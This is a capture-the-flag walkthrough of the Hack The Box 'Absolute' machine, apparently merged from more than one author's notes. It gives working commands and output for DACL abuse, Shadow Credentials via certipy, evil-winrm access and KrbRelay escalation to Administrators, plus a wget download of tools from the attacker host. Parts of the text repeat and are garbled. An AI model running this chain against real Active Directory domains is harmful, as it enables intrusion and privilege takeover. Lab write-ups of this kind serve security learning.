PS C:\PENTEST> Add-DomainObjectAcl -TargetIdentity "NETWORK AUDIT" -PrincipalIdentity m.lovegod -Rights All -Verbose -Credential $Cred -Domain 'absolute.htb' VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain VERBOSE: [Get-Domain] Extracted domain 'absolute.htb' from -Credential VERBOSE: [Get-DomainSearcher] search base: LDAP://absolute.htb/DC=absolute,DC=htb VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=m.lovegod)(name=m.lovegod)(dnshostname=m.lovegod)))) VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain VERBOSE: [Get-Domain] Extracted domain 'absolute.htb' from -Credential VERBOSE: [Get-DomainSearcher] search base: LDAP://absolute.htb/DC=absolute,DC=htb VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=NETWORK AUDIT)(name=NETWORK AUDIT)(displayname=NETWORK AUDIT)))) VERBOSE: [Add-DomainObjectAcl] Granting principal CN=m.lovegod,CN=Users,DC=absolute,DC=htb 'All' on CN=Network Audit,CN=Users,DC=absolute,DC=htb VERBOSE: [Add-DomainObjectAcl] Granting principal CN=m.lovegod,CN=Users,DC=absolute,DC=htb rights GUID '00000000-0000-0000-0000-000000000000' on CN=Network Audit,CN=Users,DC=absolute,DC=htb PS C:\PENTEST>
Now adding m.lovegod in network audit’s group so that we can abuse generic write by doing targeted kerberoasting
Add-DomainGroupMember -Identity 'NETWORK AUDIT' -Members 'm.lovegod' -Domain 'absolute.htb' -Credential $Cred -Verbose
PS C:\PENTEST> Add-DomainGroupMember -Identity 'NETWORK AUDIT' -Members 'm.lovegod' -Domain 'absolute.htb' -Credential $Cred -Verbose VERBOSE: [Get-PrincipalContext] Binding to domain 'absolute.htb' VERBOSE: [Get-PrincipalContext] Using alternate credentials VERBOSE: [Add-DomainGroupMember] Adding member 'm.lovegod' to group 'NETWORK AUDIT' PS C:\PENTEST>
We can verify if m.lovegod is added in the group
PS C:\PENTEST> Get-DomainGroupMember -Identity "NETWORK AUDIT" -Domain 'absolute.htb' -DomainController dc.absolute.htb -Credential $Cred -Verbose VERBOSE: [Get-DomainSearcher] search base: LDAP://dc.absolute.htb/DC=absolute,DC=htb VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection VERBOSE: [Get-DomainGroupMember] Get-DomainGroupMember filter string: (&(objectCategory=group)(|(samAccountName=NETWORK AUDIT))) VERBOSE: [Get-DomainSearcher] search base: LDAP://dc.absolute.htb/DC=absolute,DC=htb VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=svc_audit,CN=Users,DC=absolute,DC=htb))) GroupDomain : absolute.htb GroupName : Network Audit GroupDistinguishedName : CN=Network Audit,CN=Users,DC=absolute,DC=htb MemberDomain : absolute.htb MemberName : svc_audit MemberDistinguishedName : CN=svc_audit,CN=Users,DC=absolute,DC=htb MemberObjectClass : user MemberSID : S-1-5-21-4078382237-1492182817-2568127209-1115 VERBOSE: [Get-DomainSearcher] search base: LDAP://dc.absolute.htb/DC=absolute,DC=htb VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=m.lovegod,CN=Users,DC=absolute,DC=htb))) GroupDomain : absolute.htb GroupName : Network Audit GroupDistinguishedName : CN=Network Audit,CN=Users,DC=absolute,DC=htb MemberDomain : absolute.htb MemberName : m.lovegod MemberDistinguishedName : CN=m.lovegod,CN=Users,DC=absolute,DC=htb MemberObjectClass : user MemberSID : S-1-5-21-4078382237-1492182817-2568127209-1109 PS C:\PENTEST>
Now when setting the SPN for winrm_user, it wasn’t working probably because of clean up script doing their job but not really sure why it didn’t worked as I was providing the command one after the other
Set-DomainObject -Identity 'winrm_user' -Set @{serviceprincipalname='MSSQL/UwU'} -Domain 'absolute.htb' -DomainController dc.absolute.htb -Credential $Cred -Verbose
So what we can do is, repeat the same process by making m.lovegod the owner of audit group, give full control, add m.lovegod into the audit group and then generate TGT, this will retain the configurations or the session regardless of what we have configured being removed
Checking if the ticket has been loaded
But targeted kerborasting wasn’t the way, since there’s GenericWrite on winrm_user we can update msDS-KeyCredentialLink allowing us to perform Shadow Credentials using PyWhisker
Linux
There is a neat Impacket script that hasn’t been merged yet in this pull request for a script. It provides an example script called dacledit.py that does the same thing that Add-DomainObject Acl does.
I’ll clone this repo, checkout the dacledit branch, and install:
We clone the repository, specifying the dacledit branch
$ git clone https://github.com/ShutdownRepo/impacket -b dacledit
Cloning into 'impacket'...
remote: Enumerating objects: 22819, done.
remote: Counting objects: 100% (12/12), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 22819 (delta 6), reused 9 (delta 6), pack-reused 22807
Receiving objects: 100% (22819/22819), 8.07 MiB | 10.10 MiB/s, done.
Resolving deltas: 100% (17414/17414), done.
We move to the directory and create a virtual environment to install the dependencies without conflicting with the packages already installed on the system.
$ cd impacket
$ python3 -m venv venv
$ source venv/bin/activate
$ pip3 install .
$ sudo ntpdate -u 10.10.11.181
To use dacledit we need to get a TGT from m.lovegod
$ getTGT.py absolute.htb/m.lovegod:'AbsoluteLDAP2022!'
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Saving ticket in m.lovegod.ccache
We modified the group DACL NETWORK AUDIT to gain full control over it
┌──(venv)─(puck㉿kali)-[~/htb/absolute/impacket]
└─$ KRB5CCNAME=m.lovegod.ccache dacledit.py -action ‘write’ -rights ‘FullControl’ -principal ‘m.lovegod’ -target ‘NETWORK AUDIT’ ‘absolute.htb’/’m.lovegod’:’AbsoluteLDAP2022!’ -dc-ip 10.10.11.181 -k
Impacket v0.9.25.dev1+20230823.145202.4518279 – Copyright 2021 SecureAuth Corporation
[*] DACL backed up to dacledit-20241224-153453.bak
[*] DACL modified successfully!
We add the user to the group
$ net rpc group addmem "Network Audit" "m.lovegod" -U "absolute.htb"/"m.lovegod"%'AbsoluteLDAP2022!' -S "dc.absolute.htb" --use-kerberos=required
$ net rpc group members "Network Audit" -U absolute.htb/m.lovegod%'AbsoluteLDAP2022!' -S dc.absolute.htb --use-kerberos=required
absolute\m.lovegod
absolute\svc_audit
┌──(puck㉿kali)-[~/htb/absolute]
└─$ git clone https://github.com/ShutdownRepo/impacket -b dacledit
$ cd impacket
$ python3 -m venv venv
$ source venv/bin/activate
$ pip3 install .
$ kinit m.lovegod
Password for m.lovegod@ABSOLUTE.HTB:
┌──(venv)─(puck㉿kali)-[~/htb/absolute/impacket]
└─$ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: m.lovegod@ABSOLUTE.HTB
Valid starting Expires Service principal
12/23/2024 21:40:00 12/24/2024 01:40:00 krbtgt/ABSOLUTE.HTB@ABSOLUTE.HTB
renew until 12/24/2024 01:40:00
┌──(venv)─(puck㉿kali)-[~/htb/absolute/impacket]
└─$ dacledit.py -k 'absolute.htb/m.lovegod:AbsoluteLDAP2022!' -dc-ip dc.absolute.htb -principal m.lovegod -target "Network Audit" -action write -rights WriteMembers
Impacket v0.9.25.dev1+20230823.145202.4518279 - Copyright 2021 SecureAuth Corporation
[-] CCache file is not found. Skipping...
[*] DACL backed up to dacledit-20241223-214125.bak
[*] DACL modified successfully!
┌──(venv)─(puck㉿kali)-[~/htb/absolute/impacket]
└─$ net rpc group members "Network Audit" -U 'm.lovegod' --use-kerberos=required -S dc.absolute.htb
Password for [WORKGROUP\m.lovegod]:
absolute\svc_audit
$ net rpc group addmem "Network Audit" m.lovegod -U 'm.lovegod' --use-kerberos=required -S dc.absolute.htb
Password for [WORKGROUP\m.lovegod]:
$ net rpc group members "Network Audit" -U 'm.lovegod' --use-kerberos=required -S dc.absolute.htb
Password for [WORKGROUP\m.lovegod]:
absolute\m.lovegod
absolute\svc_audit
.
This is adding the WriteMembers permission to m.lovegod. This script doesn’t use any existing ticket, so I’m giving it a full username and password.
Next do quikly after running dacledit.py
To add the user to the group, I’ll use net (which installs with apt install samba). The most reliable way to use this is with --use-kerberos=required, though for some reason it asks for a password on each run. Still it works, as m.lovegod isn’t in the group, then I add them, and then they are:
.
Alternatively, if I use -k, it will use my ticket from kinit. I found I had to delete that ticket and re-initialize it often or I would get errors:
oxdf@hacky$ rm /tmp/krb5cc_1000
oxdf@hacky$ kinit m.lovegod
Password for m.lovegod@ABSOLUTE.HTB:
oxdf@hacky$ net rpc group members "Network Audit" -U 'm.lovegod' -k -S dc.absolute.htb
absolute\svc_audit
oxdf@hacky$ net rpc group addmem "Network Audit" m.lovegod -U 'm.lovegod' -k -S dc.absolute.htb
oxdf@hacky$ net rpc group members "Network Audit" -U 'm.lovegod' -k -S dc.absolute.htb
absolute\m.lovegod
absolute\svc_audit
Shadow Credential
In Outdated, I showed how to do this on target using Whisker and remotely with PyWhisker. PyWhisker would work here, but Certipy has the several steps packaged into one command, so I’ll show that here. It installs with pip install certipy-ad.
certipy find will return all sorts of information about the domain and how Active Directory Certificate Services (ADCS) is configured. It doesn’t check /tmp/krb5cc by default, so I’ll need to set that environment variable to be able to use it:
oxdf@hacky$ KRB5CCNAME=/tmp/krb5cc_1000 certipy find -username m.lovegod@absolute.htb -k -target dc.absolute.htb
I can look at this, but right now this is just a good sign that ADCS is installed.This next command needs a Kerberos ticket to work, and it seems like it must be generated after the m.lovegod user has been added to the group. The following error means that I need to delete my ticket and re-create it (either with kinit or getTGT.py):
[-] Could not update Key Credentials for 'winrm_user' due to insufficient access rights: 00002098: SecErr: DSID-031514A0, problem 4003 (
INSUFF_ACCESS_RIGHTS), data 0
certipy shadow auto will add the shadow credential to the winrm_user user:
┌──(venv)─(puck㉿kali)-[~/htb/absolute/impacket]
└─$ certipy-ad shadow auto -k -no-pass -u absolute.htb/m.lovegod@dc.absolute.htb -dc-ip 10.10.11.181 -target dc.absolute.htb -account winrm_user
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'winrm_user'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '64887d4d-d619-a669-2991-a83714bcd16e'
[*] Adding Key Credential with device ID '64887d4d-d619-a669-2991-a83714bcd16e' to the Key Credentials for 'winrm_user'
[*] Successfully added Key Credential with device ID '64887d4d-d619-a669-2991-a83714bcd16e' to the Key Credentials for 'winrm_user'
[*] Authenticating as 'winrm_user' with the certificate
[*] Using principal: winrm_user@absolute.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'winrm_user.ccache'
[*] Trying to retrieve NT hash for 'winrm_user'
[*] Restoring the old Key Credentials for 'winrm_user'
[*] Successfully restored the old Key Credentials for 'winrm_user'
[*] NT hash for 'winrm_user': 8738c7413a5da3bc1d083efc0ab06cb2
┌──(venv)─(puck㉿kali)-[~/htb/absolute/impacket]
This has created a credential and given both the NT hash (which isn’t useful for me here) and saved a ticket in winrm_user.ccache.
Shell
Evil-WinRM
At the end we have an NT hash, if we try to use it to authenticate we can’t because this user also belongs to Protected Users
$ evil-winrm.rb -i absolute.htb -u winrm_user -H '8738c7413a5da3bc1d083efc0ab06cb2'
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
In addition to the NT hash, we have obtained a TGT, so we import it and connect with evil-winrm. It is necessary to put the DC name instead of the IP after the -i parameter.
I’ll use the new cred to get an evil-winrm shell:
┌──(venv)─(puck㉿kali)-[~/htb/absolute/impacket]
└─$ KRB5CCNAME=./winrm_user.ccache evil-winrm -i dc.absolute.htb -r absolute.htb
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\winrm_user\Documents> whoami
absolute\winrm_user
*Evil-WinRM* PS C:\Users\winrm_user\Documents>
And grab user.txt:
Shell as administrator
KrbRelay Background
A very popular Kerberos-based attack for the last couple years has been KrbRelay. This technique was first discussed in a Google Project Zero post on October 2021, and then Cube0x0 made a public POC, KrbRelay in February 2022. In Aprl 2022, KrbRelayUp automated the most common pathways from KrbRelay
The idea is to relay an authentication request through a server back to the DC to get authenticated for whatever mischief the attacker desires.
After a full year of this bug being referred to as “not to be patched”, Microsoft changed their stance and did that in October 2022.
For this attack to work, the target must:
- Not have the Oct 2022 patches;
- LDAP signing must be disabled (which is the Windows default).
We use, crackmapexec to check for LDAP signing.
└─$ nxc ldap 10.10.11.181 -u m.lovegod -p 'AbsoluteLDAP2022!' -M ldap-checker -k
SMB 10.10.11.181 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.181 389 DC [+] absolute.htb\m.lovegod:AbsoluteLDAP2022!
LDAP-CHE... 10.10.11.181 389 DC LDAP Signing NOT Enforced!
LDAP-CHE... 10.10.11.181 389 DC LDAPS Channel Binding is set to "NEVER"
KrbRelay
Compile
I’ll clone the repo to my Windows host and open the .sln file in Visual Studio. I’ll go to Built > Batch Build to get this dialog:
I’ll select both release configurations for Build, and click Build. There are a fair number of warnings, but it reports success and gives an .exe path for each binary:
Build started...
------ Build started: Project: CheckPort, Configuration: Release Any CPU ------
CheckPort -> C:\Tools\KrbRelay\CheckPort\bin\Release\CheckPort.exe
------ Build started: Project: KrbRelay, Configuration: Release Any CPU ------
C:\Tools\KrbRelay\KrbRelay\IStorage\ILockBytes.cs(24,23,24,61): warning CS0618: 'STATSTG' is obsolete: 'Use System.Runtime.InteropServices.ComTypes.STATSTG instead. http://go.microsoft.com/fwlink/?linkid=14202'
...[snip]...
C:\Tools\KrbRelay\KrbRelay\Misc\Natives.cs(320,24,320,26): warning CS0649: Field 'Natives.SOLE_AUTHENTICATION_SERVICE.hr' is never assigned to, and will always have its default value 0
KrbRelay -> C:\Tools\KrbRelay\KrbRelay\bin\Release\KrbRelay.exe
========== Build: 2 succeeded, 0 failed, 0 up-to-date, 0 skipped ==========
I’ll copy both binaries back to my Linux box and upload them to Absolute.
*Evil-WinRM* PS C:\programdata> wget 10.10.14.6/KrbRelay.exe -outfile KrbRelay.exe
*Evil-WinRM* PS C:\programdata> wget 10.10.14.6/CheckPort.exe -outfile CheckPort.exe
Find Port
CheckPort.exe will identify the port that the malicious server will run on:
*Evil-WinRM* PS C:\programdata> .\CheckPort.exe
[*] Looking for available ports..
[*] SYSTEM Is allowed through port 10
It identifies port 10.
Identify CLSID
Very similar to how many of the Potato attacks work, I’ll need a CLSID for a valid RPC service with the correct permissions. There are tools to discover these on the target host, but it’s often easier and faster just to pick from some of the default ones listed.
This host is running Windows 10.0.17763.3406:
*Evil-WinRM* PS C:\programdata> cmd /c ver
Microsoft Windows [Version 10.0.17763.3406]
That maps to server 2019 or Windows 10. There’s a list of default CLSIDs by OS on the KrbRelay README.
354ff91b-5e49-4bdc-a8e6-1cb6c6877182
Fail
I’ll run this now with the syntax from the README.md, and it fails:
*Evil-WinRM* PS C:\programdata> .\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -add-groupmember "Domain Admins" winrm_user
[*] Relaying context: absolute.htb\DC$
[*] Rewriting function table
[*] Rewriting PEB
[*] GetModuleFileName: System
[*] Init com server
[*] GetModuleFileName: C:\programdata\KrbRelay.exe
[*] Register com server
objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGgQIAAAAAAADTTE0VYrMdRI8wZk6Yn8FkAvwAABQG//+TcgcMhZchfSIADAAHADEAMgA3AC4AMAAuADAALgAxAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==:
[*] Forcing SYSTEM authentication
[*] Using CLSID: 354ff91b-5e49-4bdc-a8e6-1cb6c6877182
System.UnauthorizedAccessException: Access is denied. (Exception from HRESULT: 0x80070005 (E_ACCESSDENIED))
at KrbRelay.Ole32.CoGetInstanceFromIStorage(COSERVERINFO pServerInfo, Guid& pclsid, Object pUnkOuter, CLSCTX dwClsCtx, IStorage pstg, UInt32 cmq, MULTI_QI[] rgmqResults)
at KrbRelay.Program.Main(String[] args)
This failure is due to the fact that the exploit requires an interactive session, such as a console. In these sessions, credentials are stored in memory, and thus accessible to the exploit, as opposed to in the WinRM remoting that I have now.
RunAsCs
RunAsCs is a tool that allows for running as different users with creds. I’ll download the release and upload it to Absolute.qq
I’ve got creds for m.lovegod, so I’ll wrap my previous command in RunasCs.exe with that username and password and -d to give the domain. It fails:
*Evil-WinRM* PS C:\programdata> .\RunasCs.exe m.lovegod 'AbsoluteLDAP2022!' -d absolute.htb ".\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -add-groupmember administrators winrm_user"
[-] RunasCsException: Selected logon type '2' is not granted to the user 'm.lovegod'. Use available logon type '3'.
It’s trying to create a logon type 2 process, which is blocked (presumably due to NTLM’s being disabled). It suggests to use type 3, but that fails as well.
This Microsoft page has a table of logon types. Runas / Network are the examples for type 9. I’ll try that:
*Evil-WinRM* PS C:\programdata> .\RunasCs.exe m.lovegod 'AbsoluteLDAP2022!' -l 9 ".\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 3c6859ce-230b-48a4-be6c-932c0c202048 -add-groupmember Administrators winrm_user"
[*] Relaying context: absolute.htb\DC$
[*] Rewriting function table
[*] Rewriting PEB
[*] GetModuleFileName: System
[*] Init com server
[*] GetModuleFileName: C:\programdata\KrbRelay.exe
[*] Register com server
objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGgQIAAAAAAABTTPeSTipF2z9FHjLk0cIbAuwAADQI//+R7UMqWjylmyIADAAHADEAMgA3AC4AMAAuADAALgAxAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==:
[*] Forcing SYSTEM authentication
[*] Using CLSID: 354ff91b-5e49-4bdc-a8e6-1cb6c6877182
[*] apReq: 6082070806092a864886f71201020201006e8206f7308206f3a003020105a10302010ea20703050020000000a382052b6182052730820523a003020105a10e1b0c4142534f4c5554452e485442a2223020a003020102a11930171b046c6461701b0f64632e6162736f6c7574652e687462a38204e6308204e2a003020112a103020104a28204d4048204d03db8f428f745cc616e4aa91d3ea195a7f6d8a29f3fa3e775af505da6fda12113faf706ddc34ffa41df0ef0ac09ccfbea3ff48b50dab86842ac5d93f183a1553efc85519d1fadf3bba6cc0cb5595a0f03c0ad7b5d0535c8f39eb7f339b4320ac90a39ee3700e2d4e21e720d5c6d3058dd9ceacab2f892f0ef879f9cf3d71421ae3bc3959940917600238181aae792bbf360f200a803194e5800edc648ee39f0c0a362b894f453bf3a815e0443827d342fd3854dd1582b4e76cff9bc5e72a873bcb2e34e47c2a26596bc4a83806468a697ab6cf804ff02342b0be82661f891c3c2f4af146a4f453ac76659d5d5bd529e0e0992e519d46211ba6df2f613dbf1c48d8fce86f169762e7023c854329ac8780b3e3c916f2fc1f769cc6715fea54ddc5a08ab947ced0123dce3a9c6359cd3ce9d72b9a97448cb396d3de3e01dfb53b2d0160d5d561ba9b6c526361d723d0a79b1e6d02dba9548b8318179220edf194b3917d83870887d0740b94695a1c3210722b7e98f90959fe80c00b4743a6bbc607700d5114a2565a0cf7c2a783417c4233421ea53c6726136b13085cec3dbcc3dcc7d4e8b8a25ed0ba3e19124625bab2db2258b17c69744674b03a53160589c75d5b61b0cde421d96cce059cac230343757e7d5de7eaa2f77445c3fcfa70d11bc40aee4a48a4b858d159ebfcc75e61a4146794f09b2ffd0596b51f3baa158a9fb3f7ab736806e0783b06fdfe6ce82b35f2492e25e3f0ed6493660fa7c3b15c1137adc9431580d79db3687ce5e29151e42238ec7d936b8223f8dd057b9ed5943d6330a4e79628a2f11c4181c7051656721e43985754eeab748fdcc0c932dd1a37a4d3f4c4a19b38f13328668a0211001fb2a5ca45207da50df64534b726a7a594c54858e79a7c1f8c5c8db4c5b57ae8bd237228ebadb6c0b1a09c9510d1a553e2bc117b8803f56fce012fdbb9eb16bc8deeeaefd0764d943777dbe77dfbf4f5a12d25dc7d9ab8d3cdae1f3491786998ec0e11db2300eff8c0a7548b378dfae9acf0a8a05613fffceecd2de6200f67d655f598b25911b93d1c91beabde4b910f066a4a58aa186599e0d7fbd56bc60c702ab150fef9d95df51cbe851a7c8ad2b1d04d26bd0e69e1402a04190e0175275dbb7333cc176be3fa21ab137bc2e573c3706c3b023c2e144c0cb2e71d5b0f76ea54f5512792eada0a823e4a175d3fe7b4b4a346e32a36173714fd3d41c508bfdf70f785063de5f060c59ea07e8ac0def73c902bc29df3b0d05b8ced0ceee18d1169d2f82f4fee13682d279f084423522be7a742ca45e91d03c5841d8a21c602f1912688b5fb022764e5f361371c377ce8f067f5742cc41ed5c4c82eeee65256b21cb14b03e117fd7d48f50aa42edd100b2d161eb8bcf506991320291906f75c0c9babaeaf473d81a4d44b640dbcaae529c5659e8a5912e7a943824b6f07b655c1eeb54cf3246abd6ce9563717c436c0638547bd9a64336c39f7228f056a0a612cc57f0121b51e7479d4f58634744d6618190bfdcc6938991ea9053898663f4965363473595fcd715ca591e57472c405151793dc5b368334b5a5671453e7307ce0b1a060374fb50afa1fef89baf6c2642d064411d77b74711880ab15405b6aa809f05098bb74c247b5bd3d7c6185b47ba58c9ec84cd85915ee2f4d3d86408aaeb0fce51d686e783eb85865d52db94214c446749434a0deb7b44dcb0db122573c4efab06a48201ad308201a9a003020112a28201a00482019ce9e4d5a5d1216dd3418541a394c393bdcf3cdb62848be82577c1ad90d531576ae2128a84a994d32ec6d85d201143c3919726658b534fcfb4a789de7a65e20b2a209136bd8ba1c4b608ea3e417e6fdbf4addd5f8cd1274920c2abf8fbf0883452b7a26347f4e75b33e46bfa2bd2a654f2b891c352bab1f38f920e987316055f62d88926500f428971f49077bffc70013b279b909d325e3b7f0d27e6716f6305663b722f172b3b1d964ef9cf5ea7fc1b6dc3feb4dee5f84cb35c428a8d1c0013381a282ef16a3a6bd77a0325d7b10aa407c8d4289b2756b31e22e0f2e507d9157a009072576c4adead710b6e5e6d19e77458590b77077b709ac0c866d676a590564fc6d7393624007bc4c462fcf53ccd28fd04c1dd8dfb0691055ed2838531623fc4ae6e6908847e0e16ae0fcaf9f94b7b80d14dcfa0851f6afb5e8ba6a6b56b9f5b2da2b94b41bb121270badfeb2308e8161f80372f9d9a9110823ae448ad1b6de8a2257802bde7279077b701d61baf1e5f36b316587c40995f7a9be54a71b8da8bd569024d4e19bc4cba0ff8f452cd77a286077b9b21fa39f77b5218
[*] bind: 0
[*] ldap_get_option: LDAP_SASL_BIND_IN_PROGRESS
[*] apRep1: 6f8188308185a003020105a10302010fa2793077a003020112a270046e566490e116b76a430cfeb20fcff3261390aadcd3d53b88fc370854ed454645ca5a18405acdc7823d58783f122ed52055363d7e26aa08d5f875e4b22ddd1d3f086017c4ff2e9c8541b1192e5460114f7125db5e48
5d4feed2302f8a05c322a575c82042ba97f58d21b9c6b6220a02
[*] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED
[*] fContextReq: Delegate, MutualAuth, UseDceStyle, Connection
[*] apRep2: 6f5b3059a003020105a10302010fa24d304ba003020112a2440442f51da74c39cd58d005b6e656be9d40011b917a1e192561155115f922fe21188a3294714e38cbbe9cf20e5017f9b364755847f070bd48664b9e8c08118468df88d1c2
[*] bind: 0
[*] ldap_get_option: LDAP_SUCCESS
[+] LDAP session established
[*] ldap_modify: LDAP_SUCCESS
It reports success. And winrm_user is in the Administrators group:
*Evil-WinRM* PS C:\programdata> net user winrm_user
User name winrm_user
...[snip]...
Local Group Memberships *Administrators *Remote Management Use
Global Group memberships *Domain Users *Protected Users
The command completed successfully.
And can read root.txt:
*Evil-WinRM* PS C:\users\administrator\desktop> type root.txt
adce565c************************
Success with tool KrbRelay.exe !
PS C:\programdata> .\RunasCs.exe m.lovegod 'AbsoluteLDAP2022!' -l 9 ".\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 3c6859ce-230b-48a4-be6c-932c0c202048 -add-groupmember Administrators winrm_user" .\RunasCs.exe m.lovegod 'AbsoluteLDAP2022!' -l 9 ".\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 3c6859ce-230b-48a4-be6c-932c0c202048 -add-groupmember Administrators winrm_user" [*] Relaying context: absolute.htb\DC$ [*] Rewriting function table [*] Rewriting PEB [*] GetModuleFileName: System [*] Init com server [*] GetModuleFileName: C:\programdata\KrbRelay.exe [*] Register com server objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGgQIAAAAAAABSAJN7bK0Aw92koY4hNyKnAjAAAFAR//9n/X23pLXopiIADAAHADEAMgA3AC4AMAAuADAALgAxAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==: [*] Forcing SYSTEM authentication [*] Using CLSID: 3c6859ce-230b-48a4-be6c-932c0c202048 [*] apReq: 608206b406092a864886f71201020201006e8206a33082069fa003020105a10302010ea20703050020000000a38204e1618204dd308204d9a003020105a10e1b0c4142534f4c5554452e485442a2223020a003020102a11930171b046c6461701b0f64632e6162736f6c7574652e687462a382049c30820498a003020112a103020104a282048a04820486b67586d53ba9cf7a84237e118c6d5126b86b163baa66fe62c0fbf2deb7c1b7c0c9e3bede69a1233c30bda1fd555ce2e7afec3a067f6c27acb9d7fb876d506f16cd3f3bb735b588377234ddce7c56943b210a09ccf81bbcf78309249796a15c218facbb2065f8e7366085f79a5ff22bf4e78c30d35e97f789a2e86b7624b8b65edb24f2c6ce38e145bd7813463cf93688969e4d3696ba8b0aea7523b246df65157180c825271e138590c366eafbb8d18462678db05cbeb0538c9c8fc5cecee1381982e3c86afb1c310b3264facdfb0a79f1794262fab60624eb0a4a01781062a65d1035e187b5a8d248853a5ac5131708c936ffc6e9f16d270aaf73a40d3e0dc785888fdc8e35eae77a59f5720af17a5e7ad490dfbdaa353560a6e50e1f4466f4094b5bf09ace97be9caaf4e6b1f8455bd6e49c7b28b971c494b42e6f991d4aa4a4842dfaeba059cc7a584cee5aee187c14c9f690b9e69fcd3c0b16534f94c046a56d63b51a6a2087dd5871c7901b2ee663b2c74f6255207e6197671048afd8e81f8c941e44f102fc3d0bb95dadefc3a4f709ab216ef319dcb10c3ccf66c6ac06599913708bce3d2d74990c803e9ba69de536c3ac65d09eb36f6553da0ab08e802f3f98d6acbdb86a1751d9e7e60d95d981f1f39b1f02f2169b53fcbb916fec3926b7f59792b9398042a49bc6172cbafdc69bc8996f7a1e489e1c47aa725d12310f9785538bd77b9ee4b595858596bb6ca90d8bc4f5cdaac83bcff640cb9b64c2862aa8a95fdba1ddbfdbe6a0671416b2aa8923b800a9d2f6212d1488ab0052b4853aec6c11a5dd3079c74a74cddcd9919e9defdc2f9dee4b46de3ede071b2045396b408a0f68332bd8bbbdd42904a364a086e1c27458d6ffb38760dbc532c527c7f69ef26cf0f6de5e03a22dbc7059ab5a44990b796f8a3a5314c01443c853d387944eaead305f2c4459d1a8f8f6143efb25d897d964c3012af5cf892a1f839e3237b2c5c04c870e7786055e1716f21e1f00948f0eea7490f0437f5e076f0762b6fadf553706de2eaa9b31ca7b80b300ed0745f0e5b18b5d48d787eecec048a58d5b5939b140dbde896a0528a13f53d82f78847e60b7c20fa2f37e87116a41d6fbaa3a92daa0a658484fdc0038a310f0be6c9d2b8c00d3f814cb2dfa43629e153b55db4bb8fe5bcf90c1ba1df7ac5620a0524f7b9ae5a38563db0919011674265c10069fd83fb8d253332276dae525bc188e85f3a980edb107516ee794ac1e03e4779a8cd19372e2f39c9bdf77f52ed1823ce3031ed2c3db7c04b189becaff2043b7d501ecdc43fc238f24e7a609626c0ecc98f492519d679ddbf861fb7e6d02597949b3cb7c818b738b83d482d4af425ca4a8b24c1c094eb8324533ced869d2af39981e6e3047aa6fd4cea21a27f554b12f52a06a78d67ed8a4c9b34d88099cab6b39422b7396d4ceb33c023c4da09c690211a2f6ae9ae4bcc290bbfac374009d1b9cc5b2355825888ce9b147174f0306f4c8133ebda803d3e9cd2555d89f9c4409aa0d03994fe715e465d8a0ea1fffd022be6f077a6b2bf67b1c24fed9bae9f8816e3f0faebb195d266386c813b83ca15bcbc4339bc408bf72acf7e474bfd256af54d8e1c1a48201a33082019fa003020112a2820196048201929a9f9d2cff19ca9ba31bb9d02198b49cbe997f4f5b01572e76b8903376e0fb4417ce5f7379fe6a3d8a9a171120414d63ec147ba625bdfaa532f24b2dcbe9850d2a1480ce1732fd0cd1db9d9cc1c2efb20a8927fe7dd119a42eda48daf8fdce6643d0a6b445e78faffb0918b5f63237f8f6405f9d1c6c41575fb6c9f9a7a6fe531f99279109fa784c57520c8e80d64aedada0c006565a6181052fdba480a9f9d3b586350aff58e43e8a34da4978a04dc87ae8318f77da45932c7a7ccb3f47d08447c3a0e0836a6ebcc5610170ee7862d3eec2cca68a010351e23ef0d9ec92855a6db60bd7d15a5bef40428e6598c18af4af3e0baabbfcce03872efce5c4c4e3dd492f66da508be5b8091f1eb0d1cbe4cfe8fe9c6d10aa527b4cafbb2b8f109865098587672bbe987d833757b0136ee24374c936f915a3c07704d323214cf104da429d8d7ac8bab402221358303a88a41b5d54ef5b782174e96f1e942c9e7a8cd8cdfe94034511a4b91a36890d833197892c6881cf8049b216c9e9b88e245d8b8d16f8dc30cb03452fa0640e2d15ce67615d96 [*] 